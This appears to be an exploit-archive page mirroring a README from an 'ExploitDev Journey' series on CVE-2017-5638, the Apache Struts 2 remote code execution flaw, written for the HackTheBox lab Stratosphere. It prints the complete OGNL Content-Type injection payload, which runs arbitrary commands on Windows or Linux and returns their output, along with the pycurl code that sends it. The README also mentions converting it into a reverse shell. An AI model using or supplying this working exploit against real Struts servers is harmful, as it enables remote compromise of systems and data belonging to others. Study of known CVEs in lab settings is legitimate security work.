Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-5638 PoC — Apache Struts 2 输入验证错误漏洞

Source
Associated Vulnerability
Title:Apache Struts 2 输入验证错误漏洞 (CVE-2017-5638)
Description:The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.
Readme
# ExploitDev Journey #10 | CVE-2017-5638 | Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution
Original Exploit: https://www.exploit-db.com/exploits/41570 <br>

**Exploit name:** Apache Struts RCE <br>
**CVE**: 2017-5638 <br>
**Lab**: Stratosphere - HackTheBox


### Description
There is a vulnerability in Apache struts that allows a remote attacker to execute code and system commands using a Java payload. Apache struts itself is used for creating Java-EE web applications.

<br>

### How it works
This vulnerability is exploited through the `Content-Type` HTTP header. This box however had some SSL problems and I couldn't use Python-requests for it. Nevetheless I found a way to exploit it using another library called [pycurl](http://pycurl.io/docs/latest/quickstart.html).

<br>

### Writing the exploit
In order to exploit the vulnerability you have to find an [action page](https://struts.apache.org/core-developers/action-configuration). The payload that you are going to use works for both Windows and Linux and it's generated with msfvenom but you don't need to worry about generating your own payload because I have included it along with the rest of the code:
```py
payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
```

For every command that you perform, you have to send a fresh new request to the website, you can change it to something to get a reverse shell but look at the payload! <br>
The payload is designed to be cross-platform so there won't be any need.


> `headers = [f'Content-Type: {str(payload)}']`

Here is how we store a header, we are basically storing the payload in a `Content-Type` HTTP header. However the most important part is that we are using a new tool and that is pycurl:
```py
c = pycurl.Curl()
c.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_0)
c.setopt(c.URL, rhost)
c.setopt(pycurl.HTTPHEADER, headers)
c.perform()
c.close()
```

First we create an instance of the `Curl()` class and then we set the HTTP version to 1.0 and I think the rest of the code should be self-explanatory.

<br>

### Final thoughts
Here you saw a payload that checks the operating system to see if it Windows or Linux and it will open a shell accordingly, You could even go back and change all the other exploits we have worked on and transform them to something more convenient like this. In this session you also learned about another alternative for python-requests, if your exploits don't work because of some weird SSL certificate errors, you can definitely try again with [pycurl](http://pycurl.io/docs/latest/quickstart.html).


File Snapshot

[4.0K] /data/pocs/511490574331a588169e9b15cad3253a10df6a3c ├── [1.4K] exploit.py └── [3.3K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →